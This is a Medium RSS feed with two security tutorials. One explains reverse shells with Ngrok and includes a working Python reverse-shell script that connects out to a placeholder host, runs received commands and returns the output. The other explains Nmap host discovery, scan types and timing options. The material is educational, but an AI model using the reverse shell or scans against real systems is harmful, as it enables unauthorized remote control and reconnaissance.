<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MoribuSSS on Medium]]></title>
        <description><![CDATA[Stories by MoribuSSS on Medium]]></description>
        <link>https://medium.com/@akifh398?source=rss-935cc58ab538------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by MoribuSSS on Medium</title>
            <link>https://medium.com/@akifh398?source=rss-935cc58ab538------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:22:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akifh398/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ngrok and Reverse Shell: A Powerful Tool for Security Testing]]></title>
            <link>https://medium.com/@akifh398/ngrok-and-reverse-shell-a-powerful-tool-for-security-testing-1dbcb31281f8?source=rss-935cc58ab538------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dbcb31281f8</guid>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <dc:creator><![CDATA[MoribuSSS]]></dc:creator>
            <pubDate>Fri, 07 Feb 2025 14:43:30 GMT</pubDate>
            <atom:updated>2025-02-07T14:43:30.499Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction:</h3><p>In today’s world, security professionals and developers are always looking for tools to test the vulnerabilities in systems and applications. One of the most useful tools for this purpose is <strong>Ngrok</strong>. In this article, we’ll dive into the concept of <strong>reverse shell</strong>, how it works, and how to set it up using Ngrok.</p><h4>1. What is a Reverse Shell?</h4><p>A <strong>reverse shell</strong> is a method used to gain control of a target system by establishing an outbound connection. Unlike traditional shells where a user connects to a remote server to execute commands, a reverse shell allows the <strong>target system</strong> to connect back to the attacker’s server, giving them control over the target system.</p><h4>Why is Reverse Shell Used?</h4><blockquote><strong>Security Testing</strong>: Security professionals use reverse shells to test systems for vulnerabilities. By exploiting these weaknesses, they can help improve the security of the target system.</blockquote><blockquote><strong>Penetration Testing</strong>: Reverse shells are commonly used in penetration testing to simulate an attack on a system to assess its security. However, penetration testing should only be conducted on systems where explicit permission is granted.</blockquote><blockquote><strong>Hacker Attacks</strong>: Malicious hackers may use reverse shells to gain unauthorized access to a system. However, it’s important to note that using reverse shells for unauthorized access is illegal and punishable by law.</blockquote><h4>Is Reverse Shell Secure?</h4><p>While reverse shells can be incredibly useful for ethical hackers and security researchers, they also come with significant risks. The use of reverse shells is generally safe only when conducted in an authorized testing environment. Unauthorized use is illegal and could lead to severe legal consequences. Security experts use reverse shells to <strong>identify weaknesses</strong> and fix them, not to exploit systems for malicious purposes.</p><h3>2. What is Ngrok?</h3><p><strong>Ngrok</strong> is a tool that allows you to expose a local server to the internet by creating a secure tunnel to your localhost. In other words, it provides a public URL that forwards to your local server, allowing you to share your development work or test APIs with others.</p><p>Ngrok is a fantastic tool for <strong>developers</strong> and <strong>security professionals</strong> who need to make local applications publicly accessible or perform tests on systems and networks.</p><h4>What is Ngrok Used For?</h4><ol><li><strong>Application Development</strong>: It lets developers expose their local servers to the internet temporarily, which is ideal for testing and sharing applications during development.</li><li><strong>API Testing</strong>: Ngrok is often used to test APIs by exposing local endpoints to remote servers, making it easy to test in real-world conditions.</li><li><strong>Security Testing</strong>: Ngrok is helpful for security researchers when performing penetration tests or testing vulnerabilities on a locally hosted server.</li></ol><h3>3. How to Set Up a Reverse Shell with Ngrok?</h3><p>Ngrok makes it easy to expose your local server to the internet, which is perfect when you want to test the vulnerabilities of a local system or create a reverse shell. Here’s how you can set up a reverse shell using Ngrok in a few steps:</p><h4>Step 1: Install Ngrok</h4><p>First, you’ll need to download and install Ngrok. You can get it from the official website at <a href="https://ngrok.com/">https://ngrok.com/</a>.</p><h4>Step 2: Start a Local Server</h4><p>For demonstration purposes, let’s start a simple HTTP server using Python. This will simulate a local service that we’ll expose to the internet via Ngrok:</p><pre>python3 -m http.server 8000</pre><h4>Step 3: Expose Your Local Server Using Ngrok</h4><p>Next, you’ll use Ngrok to create a tunnel to the local server running on port 8000:</p><pre>ngrok http 8000</pre><p>Ngrok will generate a public URL (for example, http://akif123.ngrok.io) that points to your local server.</p><h4>Step 4: Create a Reverse Shell Script</h4><p>Now, you’ll create a reverse shell script that will connect to the Ngrok URL and give you control of the target system. Here’s an example script written in Python →</p><pre>import socket<br>import subprocess<br><br># Ngrok URL and port<br>server_ip = &#39;ngrok_ip&#39;<br>server_port = 4444<br><br># Create the reverse shell<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((server_ip, server_port))<br>while True:<br>    command = s.recv(1024).decode(&#39;utf-8&#39;)<br>    if command.lower() == &#39;exit&#39;:<br>        break<br>    output = subprocess.run(command, shell=True, capture_output=True)<br>    s.send(output.stdout + output.stderr)<br>s.close()</pre><p>When you run this script on a target machine, it will connect back to the server specified in the script (the Ngrok URL). This effectively gives you control of the target system.</p><p><strong>Connection Establishment</strong>:<br>When the Python script is executed, it opens a network connection to the specified <strong>server IP</strong> (like an Ngrok URL or a real server IP) on the given <strong>port</strong> (4444 in this case). The target machine (the one running this script) attempts to connect to the server.</p><p><strong>Waiting for Commands</strong>:<br>After the connection is established, the target machine waits for incoming commands from the server</p><p><strong>Command Execution</strong>:<br>Once the server sends a command, the target machine executes it using the system’s shell. The command is executed as if it were typed into the command line of the target system.</p><p><strong>Sending Back Output</strong>:<br>After executing the command, the target machine sends the output (both standard output and error output) back to the server, allowing the server to see the results of the command.</p><p><strong>Exit Command</strong>:<br>If the server sends the command <strong>“exit”</strong>, the loop breaks, and the connection is terminated.</p><p><strong>Connection Closure</strong>:<br>Finally, the socket connection is closed, and the program ends</p><h3>4. Security Considerations with Ngrok and Reverse Shell</h3><p>While Ngrok is an excellent tool for exposing local servers and performing security testing, it’s crucial to understand its potential security risks.</p><ul><li><strong>Temporary URLs</strong>: Each time you start Ngrok, it generates a new URL, making it harder for malicious actors to predict and exploit.</li><li><strong>Authorization</strong>: Always make sure you have explicit authorization before running reverse shells. Using them on unauthorized systems is illegal and could lead to criminal charges.</li><li><strong>Encryption</strong>: Ngrok tunnels are encrypted, which means the data transmitted through them is secure. However, if you’re running sensitive operations, it’s still important to be cautious and ensure that you’re testing only in controlled, authorized environments.</li></ul><h3>Conclusion:</h3><p><strong>Ngrok</strong> combined with a <strong>reverse shell</strong> can be a powerful tool for ethical hacking and security testing. Security professionals use this technique to identify vulnerabilities and strengthen system defenses. However, it’s important to remember that these tools should only be used responsibly in authorized environments. Unauthorized access to systems is illegal and could result in severe consequences.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dbcb31281f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Network Scanning with Nmap”]]></title>
            <link>https://medium.com/@akifh398/network-scanning-with-nmap-41a58391b8f9?source=rss-935cc58ab538------2</link>
            <guid isPermaLink="false">https://medium.com/p/41a58391b8f9</guid>
            <category><![CDATA[scan]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[nmap-scanning]]></category>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[MoribuSSS]]></dc:creator>
            <pubDate>Sat, 04 Jan 2025 12:56:39 GMT</pubDate>
            <atom:updated>2025-01-04T12:56:39.468Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>What Is Network and Network Scanning?</em></blockquote><p><strong>A computer network</strong> is a system that connects two or more computing devices for transmitting and sharing information. Computing devices include everything from a mobile phone to a server. These devices are connected using physical wires such as fiber optics, but they can also be wireless.</p><p><strong>Network scanning</strong> is simply a process for gathering and analysing information about all kind of devices connected to a network. This way you can identify their presence and characteristics. It Helps cybersecurity professionals troubleshoot and discover vulnerabilities in a system, making it easier to address weaknesses in the network. In some cases it becomes one of the best ways to protect your system agains cyber threats.</p><p>Various tools are used in network scanning and each one has its own upsides. In this article I will give brief information about some of them and then focus on nmap.</p><h3>Network Scanning Tools</h3><p><strong>Nmap:</strong> Nmap is a versatile and widely-used network scanner that helps identify hosts, open ports, and services running on target systems. I will use Nmap in following examples.</p><p><strong>Wireshark:</strong> Wireshark is a powerful network protocol analyzer used for capturing and analyzing network traffic to troubleshoot and investigate network issues.</p><p><strong>Zmap:</strong> Zmap is a fast and lightweight network scanner designed for rapid internet-wide scanning to gather data on exposed services.</p><p><strong>Netcat (nc):</strong> Netcat is a versatile networking utility used for port scanning, banner grabbing, and establishing connections for various network-related tasks.</p><blockquote><strong>Network Discovery and Host Scanning with Nmap</strong></blockquote><p>One of the very first steps in any network reconnaissance mission is to reduce a (sometimes huge) set of IP ranges into a list of active or interesting hosts. Scanning every port of every single IP address is slow and usually unnecessary. Of course what makes a host interesting depends greatly on the scan purposes. Network administrators may only be interested in hosts running a certain service, while security auditors may care about every single device with an IP address. An administrator may be comfortable using just an ICMP ping to locate hosts on his internal network, while an external penetration tester may use a diverse set of dozens of probes in an attempt to evade firewall restrictions</p><pre>Starting Nmap 7.80 ( https://nmap.org ) at 2025–01–03 11:00 EDT<br>Nmap scan report for 192.168.1.1<br>Host is up (0.0020s latency).<br>Nmap scan report for 192.168.1.10<br>Host is up (0.0010s latency).<br>Nmap scan report for 192.168.1.15<br>Host is up (0.0030s latency).<br>Nmap done: 256 IP addresses (3 hosts up) scanned in 2.48 seconds```</pre><p><em>In this example, Nmap discovered three active hosts (192.168.1.1, 192.168.1.10, and 192.168.1.15) on the network.</em></p><p>Host discovery is sometimes called ping scan, but it goes well beyond the simple ICMP echo request packets associated with the ubiquitous ping tool. Users can skip the discovery step entirely with a list scan (-sL) or by disabling host discovery (-Pn), or engage the network with arbitrary combinations of multi-port <strong>TCP SYN/ACK, UDP, SCTP INIT</strong> and <strong>ICMP</strong> probes. The goal of these probes is to solicit responses which demonstrate that an IP address is actually active (is being used by a host or network device).</p><h3><strong>Nmap Scan Types</strong></h3><p>Nmap scan types can generally be categorized into two main types :</p><p><strong>— Port Scans</strong> and <strong>Active IP Address Scans</strong></p><p><strong><em>Port Scans </em></strong>are used to detect which ports are open on a target device and which services are running on those ports. Port scans help gather information about the target device’s services. For example:</p><ul><li><strong>TCP Connect Scan (</strong><strong>-sT)</strong>: Detects open TCP ports on the target device.</li><li><strong>SYN Scan (</strong><strong>-sS)</strong>: Determines which ports are open, closed, or filtered, typically used for stealthier scans.</li><li><strong>UDP Scan (</strong><strong>-sU)</strong>: Detects open UDP ports on the target device.</li><li><strong>FIN Scan (</strong><strong>-sF)</strong>: Uses the TCP FIN flag to find open ports on the target device.</li></ul><p><strong><em>Active IP Address Scans</em></strong><em> </em>are used to find out which <strong>IP addresses</strong> are active on a network. IP scans help determine which devices are online. For example:</p><ul><li><strong>Ping Scan (</strong><strong>-sn)</strong>: Sends ICMP &quot;ping&quot; packets to find active IP addresses on the network. The responding IPs are considered active.</li><li><strong>OS Detection (</strong><strong>-O)</strong>: This scan detects the operating system of the target. It also helps identify <strong>active IP addresses</strong> by gathering information about the devices on the network.</li></ul><p>These types of scans focus on finding <strong>active IP addresses</strong> and detecting online devices, rather than just checking ports.</p><h3>Port Scanning Basics</h3><p>While Nmap has grown in functionality over the years, it began as an efficient port scanner, and that remains its core function. The simple command <strong>nmap </strong><strong><em>&lt;target&gt;</em></strong> scans 1,000 TCP ports on the host <em>&lt;target&gt;</em>. While many port scanners have traditionally lumped all ports into the open or closed states, Nmap is much more granular. It divides ports into six states: open, closed, filtered, unfiltered, open|filtered, or closed|filtered.</p><p><strong>Open</strong></p><p>An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network.</p><p><strong>Closed</strong></p><p>A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.</p><p><strong>Filtered</strong></p><p>Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.</p><p><strong>Unfiltered</strong></p><p>The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.</p><p><strong>Open|filtered</strong></p><p>Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.</p><p><strong>Closed|filtered</strong></p><p>This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan</p><h3>Port Scanning Techniques</h3><p>Most of the scan types are only available to privileged users. This is because they send and receive raw packets, which requires root access on Unix systems. Using an administrator account on Windows is recommended, though Nmap sometimes works for unprivileged users on that platform when Npcap has already been loaded into the OS. Requiring root privileges was a serious limitation when Nmap was released in 1997, as many users only had access to shared shell accounts. Now, the world is different. Computers are cheaper, far more people have always-on direct Internet access, and desktop Unix systems (including Linux and Mac OS X) are prevalent. A Windows version of Nmap is now available, allowing it to run on even more desktops. For all these reasons, users have less need to run Nmap from limited shared shell accounts. This is fortunate, as the privileged options make Nmap far more powerful and flexible.</p><p><strong>sS (TCP SYN scan)</strong></p><p>SYN scan is the default and most popular scan option for good reasons. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. It is also relatively unobtrusive and stealthy since it never completes TCP connections. SYN scan works against any compliant TCP stack rather than depending on idiosyncrasies of specific platforms as Nmap’s FIN/NULL/Xmas, Maimon and idle scans do. It also allows clear, reliable differentiation between the open, closed, and filtered states.</p><p>This technique is often referred to as half-open scanning, because you don’t open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset) is indicative of a non-listener. If no response is received after several retransmissions, the port is marked as filtered. The port is also marked filtered if an ICMP unreachable error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received</p><p><strong>-sT (TCP connect scan)</strong></p><p>TCP connect scan is the default TCP scan type when SYN scan is not an option. This is the case when a user does not have raw packet privileges. Instead of writing raw packets as most other scan types do, Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection. It is part of a programming interface known as the Berkeley Sockets API. Rather than read raw packet responses off the wire, Nmap uses this API to obtain status information on each connection attempt.</p><p>When SYN scan is available, it is usually a better choice. Nmap has less control over the high level connect call than with raw packets, making it less efficient. The system call completes connections to open target ports rather than performing the half-open reset that SYN scan does. Not only does this take longer and require more packets to obtain the same information, but target machines are more likely to log the connection. A decent IDS will catch either, but most machines have no such alarm system</p><p><strong>-sU (UDP scans)</strong></p><p>While most popular services on the Internet run over the TCP protocol, <a href="http://www.rfc-editor.org/rfc/rfc768.txt">UDP</a> services are widely deployed. DNS, SNMP, and DHCP (registered ports 53, 161/162, and 67/68) are three of the most common. Because UDP scanning is generally slower and more difficult than TCP, some security auditors ignore these ports. This is a mistake, as exploitable UDP services are quite common and attackers certainly don’t ignore the whole protocol. Fortunately, Nmap can help inventory UDP ports.</p><p>UDP scan is activated with the -sU option. It can be combined with a TCP scan type such as SYN scan (-sS) to check both protocols during the same run.</p><p>UDP scan works by sending a UDP packet to every targeted port. For some common ports such as 53 and 161, a protocol-specific payload is sent to increase response rate, but for most ports the packet is empty unless the --data, --data-string, or --data-length options are specified. If an ICMP port unreachable error (type 3, code 3) is returned, the port is closed. Other ICMP unreachable errors (type 3, codes 0, 1, 2, 9, 10, or 13) mark the port as filtered. Occasionally, a service will respond with a UDP packet, proving that it is open. If no response is received after retransmissions, the port is classified as open|filtered. This means that the port could be open, or perhaps packet filters are blocking the communication. Version detection (-sV) can be used to help differentiate the truly open ports from the filtered ones.</p><p><strong>-sA (TCP ACK scan)</strong></p><p>This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.</p><p>The ACK scan probe packet has only the ACK flag set (unless you use --scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don&#39;t respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.</p><p><strong>-sW (TCP Window scan)</strong></p><p>Window scan is exactly the same as ACK scan except that it exploits an implementation detail of certain systems to differentiate open ports from closed ones, rather than always printing unfiltered when a RST is returned. It does this by examining the TCP Window field of the RST packets returned. On some systems, open ports use a positive window size (even for RST packets) while closed ones have a zero window. So instead of always listing a port as unfiltered when it receives a RST back, Window scan lists the port as open or closed if the TCP Window value in that reset is positive or zero, respectively.</p><h3>PORT SPECIFICATION</h3><p><strong>p </strong><strong><em>&lt;port ranges&gt; </em>(Only scan specified ports)</strong></p><p>if you don’t specify any port nmap use most common 1000 ports to scan</p><p>for spesific port- nmap 10.10.129.12 p80,443,10–100</p><p><strong>-p-</strong>Nmap will scan all 65535 ports</p><blockquote><strong>Mastering OS Detection</strong></blockquote><p>Operating System (OS) detection is a crucial feature of Nmap, enabling users to identify the operating systems running on target devices. This is achieved by analyzing the response patterns to crafted network packets. Accurate OS detection helps in vulnerability assessment, penetration testing, and network inventory management.</p><p>To perform OS detection in Nmap, the -O flag is used:</p><p><strong>nmap -O &lt;target&gt;</strong></p><p>For enhanced accuracy, combine it with a ping scan or service detection:</p><p><strong>nmap -A &lt;target&gt;</strong></p><p>Understanding the detected OS details allows for better security planning and targeted remediation</p><blockquote>Timing and Performance</blockquote><p><strong>Timing and Performance</strong></p><p>Nmap’s timing and performance options allow users to control the speed and accuracy of their scans, adapting to network conditions and security needs. These settings help balance scan efficiency and stealth.</p><p>The <strong>timing templates (</strong><strong>-T0 to </strong><strong>-T5)</strong> are shortcuts for adjusting scan speed:</p><ul><li>-T0 (Paranoid): Very slow, ideal for avoiding detection.</li><li>-T5 (Insane): Extremely fast, but may miss details or trigger alarms.</li></ul><p>For more control, use flags like:</p><ul><li><strong>--min-rate and </strong><strong>--max-rate</strong>: Set packet send rates.</li><li><strong>--max-retries</strong>: Limit retry attempts for unreachable targets.</li><li><strong>--scan-delay</strong>: Add delays between probes to reduce network impact.</li></ul><p>Optimizing timing ensures effective scans without overwhelming the network.</p><h4><strong>Overall,</strong> by learning how to use Nmap, you will be better equipped to manage and audit your network’s security. Nmap provides invaluable insights into your network’s vulnerabilities, enabling you to proactively secure your systems and protect your data. So, whether you’re an IT professional, a security researcher, or simply interested in network security, Nmap is an essential tool in your toolkit. We hope this article has provided you with the knowledge and confidence to use Nmap effectively.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41a58391b8f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>